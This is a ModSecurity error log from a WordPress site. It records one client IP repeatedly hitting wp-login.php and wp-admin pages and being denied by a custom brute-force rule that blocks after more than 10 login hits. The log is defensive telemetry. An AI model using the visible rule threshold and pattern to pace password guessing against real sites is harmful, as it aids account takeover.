[Fri Feb 27 21:04:49.563219 2026] [:error] [pid 49306:tid 49324] [client 159.203.62.100:56768] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWcfnSUDZue59Px9sJvQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:50.396220 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:46208] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWcoa650YPyxXVeRY_JQAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:51.242660 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:46218] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWc4a650YPyxXVeRY_MgAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:52.076908 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:46232] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWdIa650YPyxXVeRY_PwAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:52.923053 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:46246] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWdIa650YPyxXVeRY_SgAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:52.923152 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:46246] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWdIa650YPyxXVeRY_SgAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:53.761125 2026] [:error] [pid 62998:tid 63001] [client 159.203.62.100:46252] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWdVQeueXZDUmoLolAOwAAAQA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:54.596611 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:46260] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWdsKBhrfI6KNv9Ri3GAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:55.435908 2026] [:error] [pid 54231:tid 54235] [client 159.203.62.100:46262] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWd-Tvb5AeyJCdY7AKWAAAAEE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:56.269142 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:46272] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWeMKBhrfI6KNv9Ri3HQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:57.103897 2026] [:error] [pid 62998:tid 63014] [client 159.203.62.100:46284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWeVQeueXZDUmoLolAQQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:57.103980 2026] [:error] [pid 62998:tid 63014] [client 159.203.62.100:46284] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWeVQeueXZDUmoLolAQQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:59.536612 2026] [:error] [pid 62998:tid 63010] [client 159.203.62.100:46286] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWe1QeueXZDUmoLolARgAAAQg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:00.934401 2026] [:error] [pid 62998:tid 63026] [client 159.203.62.100:46286] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWfFQeueXZDUmoLolASQAAARg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:00.934524 2026] [:error] [pid 62998:tid 63026] [client 159.203.62.100:46286] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWfFQeueXZDUmoLolASQAAARg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:03.269552 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:42966] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWf8KBhrfI6KNv9Ri3NwAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:04.596657 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:42966] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWgMKBhrfI6KNv9Ri3PQAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:07.370681 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:42966] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWg8KBhrfI6KNv9Ri3TgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:08.674304 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:42966] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWhMKBhrfI6KNv9Ri3WgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:08.674436 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:42966] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWhMKBhrfI6KNv9Ri3WgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:10.926999 2026] [:error] [pid 49306:tid 49327] [client 159.203.62.100:54298] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWhvnSUDZue59Px9sJ0wAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:12.282379 2026] [:error] [pid 49306:tid 49309] [client 159.203.62.100:54298] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWiPnSUDZue59Px9sJ2wAAAUE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:13.584280 2026] [:error] [pid 49306:tid 49310] [client 159.203.62.100:54298] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWifnSUDZue59Px9sJ4wAAAUI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:14.422719 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:54310] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWioa650YPyxXVeRY_jwAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:15.261954 2026] [:error] [pid 49306:tid 49325] [client 159.203.62.100:54324] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWi_nSUDZue59Px9sJ6QAAAVE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:16.102901 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:54332] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWjPnSUDZue59Px9sJ6gAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:16.935125 2026] [:error] [pid 62998:tid 63024] [client 159.203.62.100:54342] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWjFQeueXZDUmoLolAZQAAARY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:16.935233 2026] [:error] [pid 62998:tid 63024] [client 159.203.62.100:54342] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWjFQeueXZDUmoLolAZQAAARY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:17.773035 2026] [:error] [pid 62998:tid 63011] [client 159.203.62.100:54344] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWjVQeueXZDUmoLolAagAAAQk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:18.606580 2026] [:error] [pid 54101:tid 54116] [client 159.203.62.100:54354] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWjlY5qgRktcYTGFs9pQAAAcg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:19.450050 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:42230] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWj4a650YPyxXVeRY_nAAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:20.283974 2026] [:error] [pid 54231:tid 54246] [client 159.203.62.100:42244] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWkOTvb5AeyJCdY7AKbgAAAEw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:21.115543 2026] [:error] [pid 54103:tid 54175] [client 159.203.62.100:42246] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWkevG4MPCmE0B2sCg-QAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:23.751504 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:42246] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWk-vG4MPCmE0B2sChAQAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:25.011551 2026] [:error] [pid 54103:tid 54172] [client 159.203.62.100:42246] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWlevG4MPCmE0B2sChBgAAAME"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:26.284381 2026] [:error] [pid 54103:tid 54177] [client 159.203.62.100:42246] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWluvG4MPCmE0B2sChCAAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:27.116695 2026] [:error] [pid 62998:tid 63017] [client 159.203.62.100:42260] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWl1QeueXZDUmoLolAegAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:27.953215 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:42272] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWl4a650YPyxXVeRY_tgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:28.792321 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:42284] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWmMKBhrfI6KNv9Ri3hQAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:29.626301 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:40674] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWmYa650YPyxXVeRY_xQAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:29.626346 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:40674] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWmYa650YPyxXVeRY_xQAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:32.020595 2026] [:error] [pid 54231:tid 54254] [client 159.203.62.100:40686] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWnOTvb5AeyJCdY7AKegAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:33.266118 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:40686] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWneTvb5AeyJCdY7AKewAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:33.266198 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:40686] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWneTvb5AeyJCdY7AKewAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:34.103328 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:40702] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWnsKBhrfI6KNv9Ri3lwAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:34.935427 2026] [:error] [pid 54231:tid 54240] [client 159.203.62.100:40716] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWnuTvb5AeyJCdY7AKfAAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:35.768306 2026] [:error] [pid 62998:tid 63002] [client 159.203.62.100:40728] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWn1QeueXZDUmoLolAgQAAAQE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:36.599968 2026] [:error] [pid 54103:tid 54174] [client 159.203.62.100:40732] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWoOvG4MPCmE0B2sChDgAAAMM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:37.430707 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:40736] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWocKBhrfI6KNv9Ri3rAAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:37.430801 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:40736] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWocKBhrfI6KNv9Ri3rAAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:38.281708 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:40752] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWovnSUDZue59Px9sKFQAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:39.125077 2026] [:error] [pid 54231:tid 54237] [client 159.203.62.100:40754] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWo-Tvb5AeyJCdY7AKfgAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:39.958558 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:51710] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWo4a650YPyxXVeRY_6AAAAYk"], referer: https://gigfragments.org/wp-login.php
